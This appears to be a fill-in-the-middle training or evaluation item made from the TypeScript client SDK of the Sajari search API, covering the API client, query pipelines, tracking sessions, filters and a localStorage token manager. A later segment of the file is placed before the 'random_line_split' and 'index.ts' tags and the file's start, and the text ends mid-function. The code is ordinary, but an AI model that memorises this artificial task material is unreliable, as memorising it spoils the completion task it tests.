[this.collection], "user-agent": [ [USER_AGENT, this.userAgent, this.config.userAgent] .filter(Boolean) .join(" "), ], }; // Only allow key/secret for SSR contexts if (isSSR() && [this.key, this.secret].every(Boolean)) { Object.assign(metadata, { authorization: [`keysecret ${this.key} ${this.secret}`], }); } const resp = await fetch(`${this.endpoint}${path}`, { signal, method: "POST", headers: { Accept: "application/json", // XXX: This is to remove the need for the OPTIONS request // https://stackoverflow.com/questions/29954037/why-is-an-options-request-sent-and-can-i-disable-it "Content-Type": "text/plain", }, body: JSON.stringify({ metadata, request, }), }); if (resp.status !== 200) { let message = resp.statusText; try { let response = await resp.json(); message = response.message; } catch (_) {} if (resp.status === 403) { throw new RequestError( resp.status, "This domain is not authorized to make this search request.", new Error(message) ); } throw new RequestError( resp.status, "Search request failed due to a configuration error.", new Error(message) ); } return await resp.json(); } /** * pipeline creates a new QueryPipeline instance that inherits configuration from the Client. * @param name pipeline name * @param {string} [version] pipeline version */ pipeline(name: string, version?: string): QueryPipeline { return new QueryPipeline(this, name, version); } /** * interactionConsume consumes an interaction token. */ async interactionConsume( token: string, identifier: string, weight: number, data: Record<string, string> = {} ) { return this.call<void>("/sajari.interaction.v2.Interaction/ConsumeToken", { token, identifier, weight, data, }); } } /** * Type of pipeline. */ export enum PipelineType { /** * Query pipeline. */ Query = 1, /** * Record pipeline. */ Record = 2, } export interface Step { identifier: string; title?: string; description?: string; parameters?: { [name: string]: { name?: string; defaultValue?: string; }; }; constants?: { [name: string]: { value?: string; }; }; condition?: string; } /** * Pipeline ... */ export interface Pipeline { identifier: PipelineIdentifier; created: Date; description?: string; steps: { preSteps: Step[]; postSteps: Step[]; }; } /** * PipelineIdentifier ... */ export interface PipelineIdentifier { name: string; version?: string; } export const EVENT_SEARCH_SENT = "search-sent"; /** * QueryPipeline is a client for running query pipelines on a collection. See * [[QueryPipeline.search]] for more details. * * Create a new QueryPipeline via [[Client.pipeline]]. * * ```javascript * // const client = new Client(...); * const pipeline = client.pipeline("website"); * ``` */ class QueryPipeline extends EventEmitter { private client: Client; readonly identifier: PipelineIdentifier; constructor(client: Client, name: string, version?: string) { super(); this.client = client; this.identifier = { name: name, version: version, }; } /** * Search runs a search query defined by a pipeline with the given values and * session configuration. * * ```javascript * pipeline.search({ q: "<search query>" }) * .then(([response, values]) => { * // handle response * }) * .catch(error => { * // handle error * }) * ``` * * @param values * @param tracking */ async search( values: Record<string, string>, tracking?: Tracking ): Promise<[SearchResponse, Record<string, string>]> { let pt: TrackingProto = { type: TrackingType.None }; if (tracking !== undefined) { const { queryID, ...rest } = tracking; pt = { query_id: queryID, ...rest, }; } this.emit(EVENT_SEARCH_SENT, values); let jsonProto = await this.client.call<SearchResponseProto>( "/sajari.api.pipeline.v1.Query/Search", { pipeline: this.identifier, tracking: pt, values, } ); const aggregates = Object.entries( jsonProto.searchResponse?.aggregates || {} ) .map(([key, aggregate]) => { if ("metric" in aggregate) { let [t, k] = key.split("."); return { type: t, key: k, value: aggregate.metric.value, }; } if ("count" in aggregate) { return { type: "count", key: key.replace(/^count./, ""), value: aggregate.count.counts, }; } if ("buckets" in aggregate) { return { type: "count", key: "buckets", value: Object.values(aggregate.buckets?.buckets ?? {}).reduce( (obj, { name, count }) => Object.assign(obj, { [name]: count, }), {} ), }; } return { key, value: aggregate }; }) .reduce<Aggregates>((obj, item) => { if (item.type === undefined) { console.debug(item); return obj; } if (obj[item.key] === undefined) { obj[item.key] = {}; } // @ts-ignore obj[item.key][item.type] = item.value; return obj; }, {}); const aggregateFilters = Object.entries( jsonProto.searchResponse?.aggregateFilters || {} ) .map(([key, aggregate]) => { if ("metric" in aggregate) { let [t, k] = key.split("."); return { type: t, key: k, value: aggregate.metric.value, }; } if ("count" in aggregate) { return { type: "count", key: key.replace(/^count./, ""), value: aggregate.count.counts, }; } if ("buckets" in aggregate) { return { type: "count", key: "buckets", value: Object.values(aggregate.buckets?.buckets ?? {}).reduce( (obj, { name, count }) => Object.assign(obj, { [name]: count, }), {} ), }; } return { key, value: aggregate }; }) .reduce<Aggregates>((obj, item) => { if (item.type === undefined) { console.debug(item); return obj; } if (obj[item.key] === undefined) { obj[item.key] = {}; } // @ts-ignore obj[item.key][item.type] = item.value; return obj; }, {}); const results: Result[] = (jsonProto.searchResponse?.results || []).map( ({ indexScore, score, values }, index) => { let t: Token | undefined = undefined; const token = (jsonProto.tokens || [])[index]; if (token !== undefined) { if ("click" in token) { t = { click: this.client.config.clickTokenURL + token.click.token }; } else if ("pos" in token) { t = { ...token }; } else if ("posNeg" in token) { t = { pos: token.posNeg.pos, neg: token.posNeg.neg, }; } } return { indexScore, score, values: processProtoValues(values), token: t, }; } ); let redirects = {} as Redirects; if (jsonProto.redirects) { redirects = Object.entries(jsonProto.redirects).reduce( (acc, [queryString, target]) => { acc[queryString] = target; acc[queryString]["token"] = this.client.config.clickTokenURL + acc[queryString]["token"]; return acc; }, {} as Redirects ); } return [ { time: parseFloat(jsonProto.searchResponse?.time || "0.0"), totalResults: parseInt( jsonProto.searchResponse?.totalResults || "0", 10 ), results: results, aggregates: aggregates, aggregateFilters: aggregateFilters, redirects: redirects, }, jsonProto.values || {}, ]; } } export interface SearchResponse { /** * Time in seconds taken to perform the query. */ time: number; /** * totalResults is the total number of results. */ totalResults: number; /** * Results of the query. */ results: Result[]; /** * Aggregates computed on the query results (see [[Aggregates]]). */ aggregates: Aggregates; /** * AggregateFilters computed on the query results (see [[Aggregates]]). */ aggregateFilters: Aggregates; /** * All Redirects for which the current query is a starting substring (see [[Redirects]]). */ redirects: Redirects; } export interface Result { /** * indexScore is the index-matched score of this Result. */ indexScore: number; /** * score is the overall score of this [[Result]]. */ score: number; /** * values is an object of field-value pairs. */ values: Record<string, string | string[]>; /** * token is the [[Token]] associated with this [[Result]] (if any). */ token?: Token; } export type Token = ClickToken | PosNegToken; /** * ClickToken defines a click token. See [[TrackingType.Click]] for more details. */ export type ClickToken = { click: string }; /** * PosNegToken defines a pos/neg token pair. See [[TrackingType.PosNeg]] for more details. */ export type PosNegToken = { pos: string; neg: string }; export type Aggregates = Record< string, Record<string, CountAggregate | MetricAggregate> >; export interface CountAggregate { count: Record<string, number>; } export type MetricAggregate = number; /** * A Redirect defines a search string which clients should handle by sending users to a specific location * instead of a standard search results screen. In a default setup, these are only returned by an autocomplete * pipeline. Web search clients handle redirects by sending the web browser to the `target` or `token` URL. * Other clients (mobile) may handle redirect forwarding differently. * See [[Redirects]] for redirect collection details. */ export interface RedirectTarget { id: string; target: string; token?: string; } /** * All redirects which match the current query substring are returned. An autocomplete query where `q` is "foo" * could result in a redirects collection containing `{"foobar": {…}, "foo qux": {…}}` being returned. * See [[RedirectTarget]] for shape of target object. */ export interface Redirects { [redirectQuery: string]: RedirectTarget; } /** * @hidden */ export interface SearchResponseProto { searchResponse?: Partial<{ time: string; totalResults: string; results: ResultProto[]; aggregates: AggregatesProto; aggregateFilters: AggregatesProto; }>; tokens?: TokenProto[]; values?: Record<string, string>; redirects?: Redirects; } /** * @hidden
*/ type TokenProto = | undefined | { click: { token: string }; } | { pos: string; neg: string; } | { posNeg: { pos: string; neg: string; }; }; /** * @hidden */ type ValueProto = | { single: string } | { repeated: { values: string[] } } | { singleBytes: string } | { null: boolean }; /** * @hidden */ function processProtoValues(values: Record<string, ValueProto>) { let vs: Record<string, string | string[]> = {}; Object.keys(values).forEach((key) => { let v = valueFromProto(values[key]); if (v !== null) { vs[key] = v; } }); return vs; } /** * @hidden */ function valueFromProto(value: ValueProto): string | string[] | null { if ("single" in value) { return value.single; } else if ("repeated" in value) { return value.repeated.values; } else if ("singleBytes" in value) { return value.singleBytes; } return null; } /** * @hidden */ interface ResultProto { indexScore: number; score: number; values: Record<string, ValueProto>; } /** * @hidden */ type AggregatesProto = Record< string, CountAggregateProto | MetricAggregateProto | BucketAggregateProto >; /** * @hidden */ interface CountAggregateProto { count: { counts: Record<string, number>; }; } /** * @hidden */ interface BucketAggregateProto { buckets?: { buckets?: Record< string, { name: string; count: number; } >; }; } /** * @hidden */ interface MetricAggregateProto { metric: { value: number; }; } /** * Tracking defines behaviour for handling search sessions and result interactions. */ export type Tracking = { type: TrackingType; queryID?: string; sequence?: number; field?: string; data?: Record<string, string>; }; /** * @hidden */ interface TrackingProto { type: TrackingType; query_id?: string; sequence?: number; field?: string; data?: Record<string, string>; } /** * TrackingType defines the possible result-interaction tracking types used by [[Session]] */ export enum TrackingType { /** * None disables tracking. */ None = "NONE", /** * Click generates click tracking tokens. */ Click = "CLICK", /** * PosNeg creates pos/neg tracking tokens. */ PosNeg = "POS_NEG", } /** * Session takes query values, maintains session state, and returns tracking data * to be sent with search requests. */ export interface Session { /** * next returns [[Tracking]] to be sent with search requests. * @param values */ next(values?: Record<string, string>): Tracking; /** * reset sets the [[Session]] instance to its empty state. */ reset(): void; } export const EVENT_TRACKING_RESET = "tracking-reset"; /** * DefaultSession holds state of a sequence of searches. */ export class DefaultSession extends EventEmitter implements Session { private queryID: string = ""; private sequence: number = 0; private type: TrackingType; private field?: string; private data?: Record<string, string>; constructor( type: TrackingType, field?: string, data?: Record<string, string> ) { super(); this.type = type; this.field = field; this.data = mergeTrackingData(data); } next(_?: Record<string, string>): Tracking { if (this.queryID === "") { this.queryID = newQueryID(); this.sequence = 0; } else { this.sequence++; } return { type: this.type, queryID: this.queryID, sequence: this.sequence, field: this.field, data: this.data, }; } reset() { this.emit(EVENT_TRACKING_RESET); this.queryID = ""; this.sequence = 0; } } /** * mergeTrackingData combines the provided session data with the requesters * google analytics ID and/or Sajari ID if present in the documents cookie. * * Because this is meant to be used on the client side, when in SSR mode * it will always return empty object * @hidden */ function mergeTrackingData(data?: Record<string, string>) { if (typeof window === "undefined") { return {}; } const cookieData = document.cookie .split(";") .filter((item) => item.includes("_ga") || item.includes("sjID")) .map((item) => item.split("=")) .reduce((data, [key, val]) => { if (key === "_ga") { data["ga"] = val; return data; } data[key] = val; return data; }, {} as Record<string, string>); if (data === undefined) { return cookieData; } Object.entries(cookieData).forEach(([key, val]) => { data[key] = val; }); return data; } /** * newQueryID constructs a new ID for a query. * @hidden */ function newQueryID(len: number = 16): string { let output = ""; for (let i = 0; i < len; i++) { output += "abcdefghijklmnopqrstuvwxyz0123456789".charAt( Math.floor(Math.random() * 36) ); } return output; } /** * InteractiveSession creates a session based on text searches and is recommended * for use in search-as-you-type style interfaces. * * It resets the session if the search query value: * * - Is `undefined`. * - First 3 characters have changed (i.e. from a direct replacement) * - Cleared after being non-empty (i.e. from a delete) */ export class InteractiveSession implements Session { private session: Session; private textParam: string; private lastQuery: string; constructor(textParam: string, session: Session) { this.textParam = textParam; this.session = session; this.lastQuery = ""; } next(values: Record<string, string>): Tracking { const text = values[this.textParam]; if (text === undefined) { this.reset(); return this.session.next(values); } const shortendPreviousQuery = this.lastQuery.substr( 0, Math.min(text.length, 3) ); const firstThreeCharsChanged = text.substr(0, shortendPreviousQuery.length) !== shortendPreviousQuery; const queryCleared = this.lastQuery.length > 0 && text.length === 0; if (firstThreeCharsChanged || queryCleared) { this.reset(); } this.lastQuery = text; return this.session.next(values); } reset() { this.session.reset(); } } type FilterFunc = () => string; export const EVENT_SELECTION_UPDATED = "selection-updated"; export const EVENT_OPTIONS_UPDATED = "options-updated"; export class Filter extends EventEmitter { private options: Record<string, string | FilterFunc>; private active: string[]; private multi: boolean; private joinOp: "OR" | "AND"; constructor( options: Record<string, string>, initial: string[] = [], multi = false, joinOp: "OR" | "AND" = "OR" ) { super(); this.options = options; this.active = initial; this.multi = multi; this.joinOp = joinOp; } set(key: string, active = true) { if (this.multi) { if (active && this.active.indexOf(key) === -1) { this.active = this.active.concat(key); } else { this.active = this.active.filter((k) => k !== key); } this.emit(EVENT_SELECTION_UPDATED, [...this.active]); return; } if (active) { this.active = [key]; } else { this.active = []; } this.emit(EVENT_SELECTION_UPDATED, [...this.active]); } isActive(key: string): boolean { return this.active.indexOf(key) !== -1; } get(): string[] { return [...this.active]; } updateOptions(options: Record<string, string | FilterFunc | undefined>) { Object.keys(options).forEach((key) => { const value = options[key]; if (value === undefined) { delete this.options[key]; this.active = this.active.filter((k) => k !== key); return; } this.options[key] = value; }); this.emit(EVENT_OPTIONS_UPDATED, { ...this.options }); } getOptions(): Record<string, string | FilterFunc> { return { ...this.options }; } filter(): string { const filters = this.active .map((key) => { let filter = this.options[key]; if (typeof filter === "function") { filter = filter(); } if (filter !== "") { filter = `(${filter})`; } return filter; }) .filter(Boolean); switch (filters.length) { case 0: return ""; case 1: return filters[0]; default: return filters.join(` ${this.joinOp} `); } } } export type ValueFunc = () => string; export type ValueType = | string | number | boolean | string[] | number[] | boolean[] | ValueFunc; export const EVENT_VALUES_UPDATED = "values-changed"; export class Values extends EventEmitter { private internal: Record<string, ValueType>; constructor(initial: Record<string, ValueType> = {}) { super(); this.internal = initial; } _internalUpdate(values: Record<string, ValueType | undefined>) { Object.keys(values).forEach((key) => { const value = values[key]; if (value === undefined) { delete this.internal[key]; } else { this.internal[key] = value; } }); } update(values: Record<string, ValueType | undefined>) { this._internalUpdate(values); this.emit( EVENT_VALUES_UPDATED, values, (values: Record<string, ValueType | undefined>) => this._internalUpdate(values) ); } get(): Record<string, string> { const values: Record<string, string> = {}; Object.entries(this.internal).forEach(([key, value]) => { if (typeof value === "function") { values[key] = value(); } else if (Array.isArray(value)) { values[key] = value.join(","); } else { values[key] = "" + value; } }); return values; } } export type TokenState = { token: PosNegToken; clickSubmitted: boolean; }; export const POS_NEG_STORAGE_KEY = "sajari_tokens"; // Just here to handle SSR execution (docs) const setItem = (key: string, value: string) => { if (isSSR()) { return; } return localStorage.setItem(key, value); }; const getItem = (key: string): string | null => { if (isSSR()) { return ""; } return localStorage.getItem(key); }; /** * PosNegLocalStorageManager is a utility class for manipulating Sajari's localstorage based * management of PosNeg tokens. Typical use case is storing tokens for later consumption * as users move through an ecommerce purchase funnel. */ export class PosNegLocalStorageManager { currentTokens: Record<string | number, TokenState>; client: Client; constructor(client: Client) { const storageContent = getItem(POS_NEG_STORAGE_KEY); try { this.currentTokens = storageContent ? JSON.parse(storageContent) : {}; } catch (e) { this.currentTokens = {}; console.error( "Sajari PosNeg local storage key contains corrupt data.", storageContent ); } this.client = client; } add(fieldValue: string | number, token: PosNegToken) { this.currentTokens[fieldValue] = { token, clickSubmitted: false }; setItem(POS_NEG_STORAGE_KEY, JSON.stringify(this.currentTokens)); } get(fieldValue: string | number): TokenState | undefined { return this.currentTokens[fieldValue]; } sendPosEvent( fieldValue: string | number, identifier: string, weight: number ) { const tokenState = this.get(fieldValue); if (tokenState === undefined) { return; } this.client.interactionConsume(tokenState.token.pos, identifier, weight); } sendClickEvent(fieldValue: string | number) { const tokenState = this.get(fieldValue); if (tokenState === undefined || tokenState.clickSubmitted !== false) { return; } this.sendPosEvent(fieldValue, "click", 1); this.currentTokens[fieldValue].clickSubmitted = true; setItem(POS_NEG_STORAGE_KEY, JSON.stringify(this.currentTokens)); } sendPendingClicks() { Object.keys(this.currentTokens).forEach((fieldValue) => { if (this.currentTokens[fieldValue].clickSubmitted === false) { this.sendClickEvent(fieldValue); this.currentTokens[fieldValue].clickSubmitted = true; } }); } }
random_line_split
index.ts
import { USER_AGENT } from "./user-agent"; import EventEmitter from "./events"; import { isSSR } from "./ssr"; export { EventEmitter }; /** * NetworkError defines an error occuring from the network. */ export class NetworkError extends Error { type: "CONNECTION"; constructor(message: string) { super(message); this.type = "CONNECTION"; } } /** * RequestError defines an error occuring from a request. */ export class RequestError extends Error { statusCode: number; error?: Error; constructor(statusCode: number, message: string, error?: Error) { super(message); this.statusCode = statusCode; this.error = error; } } type ConfigObj = { /** * Redirect URL for click tracking. Prepended to the the front of the token * returned by the engine. */ clickTokenURL: string; /** * Callers can set this to add an additional user agent value to the request's metadata. */ userAgent: string; }; const configDefaults: ConfigObj = { clickTokenURL: "https://re.sajari.com/token/", userAgent: "", }; /** * Client defines a client for interacting with the Sajari API. */ export class Client { // The account ID (formerly called project). project: string; // The collection ID. collection: string; endpoint: string; key?: string; secret?: string; config: ConfigObj; userAgent: string = ""; /** * Constructs an instance of Client for a specific account and collection. * * ```javascript * const client = new Client("<account_id>", "<collection_id>"); * ``` * * It is also possible to optionally set the API endpoint: * * ```javascript * const client = new Client("<account_id>", "<collection_id>", "<endpoint>"); * ``` * * @param project * @param collection * @param {string} [endpoint] */ constructor( project: string, collection: string, endpoint: string = `${isSSR() ? "https:" : ""}//jsonapi.sajari.net`, key?: string, secret?: string, config?: Partial<ConfigObj> ) { // Key/secret is only allowed in non SSR context if (!isSSR() && [key, secret].some(Boolean)) { throw new Error( "key/secret authorization is only supported for server-side rendering." ); } this.project = project; this.collection = collection; this.endpoint = endpoint; this.key = key; this.secret = secret; this.config = Object.assign(configDefaults, config); this.interactionConsume = this.interactionConsume.bind(this); } /** * call executes a request to the Sajari API */ async call<Response = any>( path: string, request: Record<string, any>, signal?: AbortSignal ): Promise<Response> { // Check we have a connection in non SSR context if (!isSSR() && !navigator.onLine) { throw new NetworkError( "Search request failed due to a network error. Please check your network connection." ); } const metadata = { project: [this.project], collection: [this.collection], "user-agent": [ [USER_AGENT, this.userAgent, this.config.userAgent] .filter(Boolean) .join(" "), ], }; // Only allow key/secret for SSR contexts if (isSSR() && [this.key, this.secret].every(Boolean)) { Object.assign(metadata, { authorization: [`keysecret ${this.key} ${this.secret}`], }); } const resp = await fetch(`${this.endpoint}${path}`, { signal, method: "POST", headers: { Accept: "application/json", // XXX: This is to remove the need for the OPTIONS request // https://stackoverflow.com/questions/29954037/why-is-an-options-request-sent-and-can-i-disable-it "Content-Type": "text/plain", }, body: JSON.stringify({ metadata, request, }), }); if (resp.status !== 200) { let message = resp.statusText; try { let response = await resp.json(); message = response.message; } catch (_) {} if (resp.status === 403) { throw new RequestError( resp.status, "This domain is not authorized to make this search request.", new Error(message) ); } throw new RequestError( resp.status, "Search request failed due to a configuration error.", new Error(message) ); } return await resp.json(); } /** * pipeline creates a new QueryPipeline instance that inherits configuration from the Client. * @param name pipeline name * @param {string} [version] pipeline version */ pipeline(name: string, version?: string): QueryPipeline { return new QueryPipeline(this, name, version); } /** * interactionConsume consumes an interaction token. */ async interactionConsume( token: string, identifier: string, weight: number, data: Record<string, string> = {} ) { return this.call<void>("/sajari.interaction.v2.Interaction/ConsumeToken", { token, identifier, weight, data, }); } } /** * Type of pipeline. */ export enum PipelineType { /** * Query pipeline. */ Query = 1, /** * Record pipeline. */ Record = 2, } export interface Step { identifier: string; title?: string; description?: string; parameters?: { [name: string]: { name?: string; defaultValue?: string; }; }; constants?: { [name: string]: { value?: string; }; }; condition?: string; } /** * Pipeline ... */ export interface Pipeline { identifier: PipelineIdentifier; created: Date; description?: string; steps: { preSteps: Step[]; postSteps: Step[]; }; } /** * PipelineIdentifier ... */ export interface PipelineIdentifier { name: string; version?: string; } export const EVENT_SEARCH_SENT = "search-sent"; /** * QueryPipeline is a client for running query pipelines on a collection. See * [[QueryPipeline.search]] for more details. * * Create a new QueryPipeline via [[Client.pipeline]]. * * ```javascript * // const client = new Client(...); * const pipeline = client.pipeline("website"); * ``` */ class QueryPipeline extends EventEmitter { private client: Client; readonly identifier: PipelineIdentifier; constructor(client: Client, name: string, version?: string) { super(); this.client = client; this.identifier = { name: name, version: version, }; } /** * Search runs a search query defined by a pipeline with the given values and * session configuration. * * ```javascript * pipeline.search({ q: "<search query>" }) * .then(([response, values]) => { * // handle response * }) * .catch(error => { * // handle error * }) * ``` * * @param values * @param tracking */ async search( values: Record<string, string>, tracking?: Tracking ): Promise<[SearchResponse, Record<string, string>]> { let pt: TrackingProto = { type: TrackingType.None }; if (tracking !== undefined) { const { queryID, ...rest } = tracking; pt = { query_id: queryID, ...rest, }; } this.emit(EVENT_SEARCH_SENT, values); let jsonProto = await this.client.call<SearchResponseProto>( "/sajari.api.pipeline.v1.Query/Search", { pipeline: this.identifier, tracking: pt, values, } ); const aggregates = Object.entries( jsonProto.searchResponse?.aggregates || {} ) .map(([key, aggregate]) => { if ("metric" in aggregate) { let [t, k] = key.split("."); return { type: t, key: k, value: aggregate.metric.value, }; } if ("count" in aggregate) { return { type: "count", key: key.replace(/^count./, ""), value: aggregate.count.counts, }; } if ("buckets" in aggregate) { return { type: "count", key: "buckets", value: Object.values(aggregate.buckets?.buckets ?? {}).reduce( (obj, { name, count }) => Object.assign(obj, { [name]: count, }), {} ), }; } return { key, value: aggregate }; }) .reduce<Aggregates>((obj, item) => { if (item.type === undefined) { console.debug(item); return obj; } if (obj[item.key] === undefined) { obj[item.key] = {}; } // @ts-ignore obj[item.key][item.type] = item.value; return obj; }, {}); const aggregateFilters = Object.entries( jsonProto.searchResponse?.aggregateFilters || {} ) .map(([key, aggregate]) => { if ("metric" in aggregate) { let [t, k] = key.split("."); return { type: t, key: k, value: aggregate.metric.value, }; } if ("count" in aggregate) { return { type: "count", key: key.replace(/^count./, ""), value: aggregate.count.counts, }; } if ("buckets" in aggregate) { return { type: "count", key: "buckets", value: Object.values(aggregate.buckets?.buckets ?? {}).reduce( (obj, { name, count }) => Object.assign(obj, { [name]: count, }), {} ), }; } return { key, value: aggregate }; }) .reduce<Aggregates>((obj, item) => { if (item.type === undefined) { console.debug(item); return obj; } if (obj[item.key] === undefined) { obj[item.key] = {}; } // @ts-ignore obj[item.key][item.type] = item.value; return obj; }, {}); const results: Result[] = (jsonProto.searchResponse?.results || []).map( ({ indexScore, score, values }, index) => { let t: Token | undefined = undefined; const token = (jsonProto.tokens || [])[index]; if (token !== undefined) { if ("click" in token) { t = { click: this.client.config.clickTokenURL + token.click.token }; } else if ("pos" in token) { t = { ...token }; } else if ("posNeg" in token) { t = { pos: token.posNeg.pos, neg: token.posNeg.neg, }; } } return { indexScore, score, values: processProtoValues(values), token: t, }; } ); let redirects = {} as Redirects; if (jsonProto.redirects) { redirects = Object.entries(jsonProto.redirects).reduce( (acc, [queryString, target]) => { acc[queryString] = target; acc[queryString]["token"] = this.client.config.clickTokenURL + acc[queryString]["token"]; return acc; }, {} as Redirects ); } return [ { time: parseFloat(jsonProto.searchResponse?.time || "0.0"), totalResults: parseInt( jsonProto.searchResponse?.totalResults || "0", 10 ), results: results, aggregates: aggregates, aggregateFilters: aggregateFilters, redirects: redirects, }, jsonProto.values || {}, ]; } } export interface SearchResponse { /** * Time in seconds taken to perform the query. */ time: number; /** * totalResults is the total number of results. */ totalResults: number; /** * Results of the query. */ results: Result[]; /** * Aggregates computed on the query results (see [[Aggregates]]). */ aggregates: Aggregates; /** * AggregateFilters computed on the query results (see [[Aggregates]]). */ aggregateFilters: Aggregates; /** * All Redirects for which the current query is a starting substring (see [[Redirects]]). */ redirects: Redirects; } export interface Result { /** * indexScore is the index-matched score of this Result. */ indexScore: number; /** * score is the overall score of this [[Result]]. */ score: number; /** * values is an object of field-value pairs. */ values: Record<string, string | string[]>; /** * token is the [[Token]] associated with this [[Result]] (if any). */ token?: Token; } export type Token = ClickToken | PosNegToken; /** * ClickToken defines a click token. See [[TrackingType.Click]] for more details. */ export type ClickToken = { click: string }; /** * PosNegToken defines a pos/neg token pair. See [[TrackingType.PosNeg]] for more details. */ export type PosNegToken = { pos: string; neg: string }; export type Aggregates = Record< string, Record<string, CountAggregate | MetricAggregate> >; export interface CountAggregate { count: Record<string, number>; } export type MetricAggregate = number; /** * A Redirect defines a search string which clients should handle by sending users to a specific location * instead of a standard search results screen. In a default setup, these are only returned by an autocomplete * pipeline. Web search clients handle redirects by sending the web browser to the `target` or `token` URL. * Other clients (mobile) may handle redirect forwarding differently. * See [[Redirects]] for redirect collection details. */ export interface RedirectTarget { id: string; target: string; token?: string; } /** * All redirects which match the current query substring are returned. An autocomplete query where `q` is "foo" * could result in a redirects collection containing `{"foobar": {…}, "foo qux": {…}}` being returned. * See [[RedirectTarget]] for shape of target object. */ export interface Redirects { [redirectQuery: string]: RedirectTarget; } /** * @hidden */ export interface SearchResponseProto { searchResponse?: Partial<{ time: string; totalResults: string; results: ResultProto[]; aggregates: AggregatesProto; aggregateFilters: AggregatesProto; }>; tokens?: TokenProto[]; values?: Record<string, string>; redirects?: Redirects; } /** * @hidden */ type TokenProto = | undefined | { click: { token: string }; } | { pos: string; neg: string; } | { posNeg: { pos: string; neg: string; }; }; /** * @hidden */ type ValueProto = | { single: string } | { repeated: { values: string[] } } | { singleBytes: string } | { null: boolean }; /** * @hidden */ function processProtoValues(values: Record<string, ValueProto>) { let vs: Record<string, string | string[]> = {}; Object.keys(values).forEach((key) => { let v = valueFromProto(values[key]); if (v !== null) { vs[key] = v; } }); return vs; } /** * @hidden */ function valueFromProto(value: ValueProto): string | string[] | null { if ("single" in value) { return value.single; } else if ("repeated" in value) { return value.repeated.values; } else if ("singleBytes" in value) { return value.singleBytes; } return null; } /** * @hidden */ interface ResultProto { indexScore: number; score: number; values: Record<string, ValueProto>; } /** * @hidden */ type AggregatesProto = Record< string, CountAggregateProto | MetricAggregateProto | BucketAggregateProto >; /** * @hidden */ interface CountAggregateProto { count: { counts: Record<string, number>; }; } /** * @hidden */ interface BucketAggregateProto { buckets?: { buckets?: Record< string, { name: string; count: number; } >; }; } /** * @hidden */ interface MetricAggregateProto { metric: { value: number; }; } /** * Tracking defines behaviour for handling search sessions and result interactions. */ export type Tracking = { type: TrackingType; queryID?: string; sequence?: number; field?: string; data?: Record<string, string>; }; /** * @hidden */ interface TrackingProto { type: TrackingType; query_id?: string; sequence?: number; field?: string; data?: Record<string, string>; } /** * TrackingType defines the possible result-interaction tracking types used by [[Session]] */ export enum TrackingType { /** * None disables tracking. */ None = "NONE", /** * Click generates click tracking tokens. */ Click = "CLICK", /** * PosNeg creates pos/neg tracking tokens. */ PosNeg = "POS_NEG", } /** * Session takes query values, maintains session state, and returns tracking data * to be sent with search requests. */ export interface Session { /** * next returns [[Tracking]] to be sent with search requests. * @param values */ next(values?: Record<string, string>): Tracking; /** * reset sets the [[Session]] instance to its empty state. */ reset(): void; } export const EVENT_TRACKING_RESET = "tracking-reset"; /** * DefaultSession holds state of a sequence of searches. */ export class DefaultSession extends EventEmitter implements Session { private queryID: string = ""; private sequence: number = 0; private type: TrackingType; private field?: string; private data?: Record<string, string>; constructor( type: TrackingType, field?: string, data?: Record<string, string> ) { super(); this.type = type; this.field = field; this.data = mergeTrackingData(data); } next(_?: Record<string, string>): Tracking { if (this.queryID === "") { this.queryID = newQueryID(); this.sequence = 0; } else { this.sequence++; } return { type: this.type, queryID: this.queryID, sequence: this.sequence, field: this.field, data: this.data, }; } reset() { this.emit(EVENT_TRACKING_RESET); this.queryID = ""; this.sequence = 0; } } /** * mergeTrackingData combines the provided session data with the requesters * google analytics ID and/or Sajari ID if present in the documents cookie. * * Because this is meant to be used on the client side, when in SSR mode * it will always return empty object * @hidden */ function mergeTrackingData(data?: Record<string, string>) { if (typeof window === "undefined") { return {}; } const cookieData = document.cookie .split(";") .filter((item) => item.includes("_ga") || item.includes("sjID")) .map((item) => item.split("=")) .reduce((data, [key, val]) => { if (key === "_ga") {
data[key] = val; return data; }, {} as Record<string, string>); if (data === undefined) { return cookieData; } Object.entries(cookieData).forEach(([key, val]) => { data[key] = val; }); return data; } /** * newQueryID constructs a new ID for a query. * @hidden */ function newQueryID(len: number = 16): string { let output = ""; for (let i = 0; i < len; i++) { output += "abcdefghijklmnopqrstuvwxyz0123456789".charAt( Math.floor(Math.random() * 36) ); } return output; } /** * InteractiveSession creates a session based on text searches and is recommended * for use in search-as-you-type style interfaces. * * It resets the session if the search query value: * * - Is `undefined`. * - First 3 characters have changed (i.e. from a direct replacement) * - Cleared after being non-empty (i.e. from a delete) */ export class InteractiveSession implements Session { private session: Session; private textParam: string; private lastQuery: string; constructor(textParam: string, session: Session) { this.textParam = textParam; this.session = session; this.lastQuery = ""; } next(values: Record<string, string>): Tracking { const text = values[this.textParam]; if (text === undefined) { this.reset(); return this.session.next(values); } const shortendPreviousQuery = this.lastQuery.substr( 0, Math.min(text.length, 3) ); const firstThreeCharsChanged = text.substr(0, shortendPreviousQuery.length) !== shortendPreviousQuery; const queryCleared = this.lastQuery.length > 0 && text.length === 0; if (firstThreeCharsChanged || queryCleared) { this.reset(); } this.lastQuery = text; return this.session.next(values); } reset() { this.session.reset(); } } type FilterFunc = () => string; export const EVENT_SELECTION_UPDATED = "selection-updated"; export const EVENT_OPTIONS_UPDATED = "options-updated"; export class Filter extends EventEmitter { private options: Record<string, string | FilterFunc>; private active: string[]; private multi: boolean; private joinOp: "OR" | "AND"; constructor( options: Record<string, string>, initial: string[] = [], multi = false, joinOp: "OR" | "AND" = "OR" ) { super(); this.options = options; this.active = initial; this.multi = multi; this.joinOp = joinOp; } set(key: string, active = true) { if (this.multi) { if (active && this.active.indexOf(key) === -1) { this.active = this.active.concat(key); } else { this.active = this.active.filter((k) => k !== key); } this.emit(EVENT_SELECTION_UPDATED, [...this.active]); return; } if (active) { this.active = [key]; } else { this.active = []; } this.emit(EVENT_SELECTION_UPDATED, [...this.active]); } isActive(key: string): boolean { return this.active.indexOf(key) !== -1; } get(): string[] { return [...this.active]; } updateOptions(options: Record<string, string | FilterFunc | undefined>) { Object.keys(options).forEach((key) => { const value = options[key]; if (value === undefined) { delete this.options[key]; this.active = this.active.filter((k) => k !== key); return; } this.options[key] = value; }); this.emit(EVENT_OPTIONS_UPDATED, { ...this.options }); } getOptions(): Record<string, string | FilterFunc> { return { ...this.options }; } filter(): string { const filters = this.active .map((key) => { let filter = this.options[key]; if (typeof filter === "function") { filter = filter(); } if (filter !== "") { filter = `(${filter})`; } return filter; }) .filter(Boolean); switch (filters.length) { case 0: return ""; case 1: return filters[0]; default: return filters.join(` ${this.joinOp} `); } } } export type ValueFunc = () => string; export type ValueType = | string | 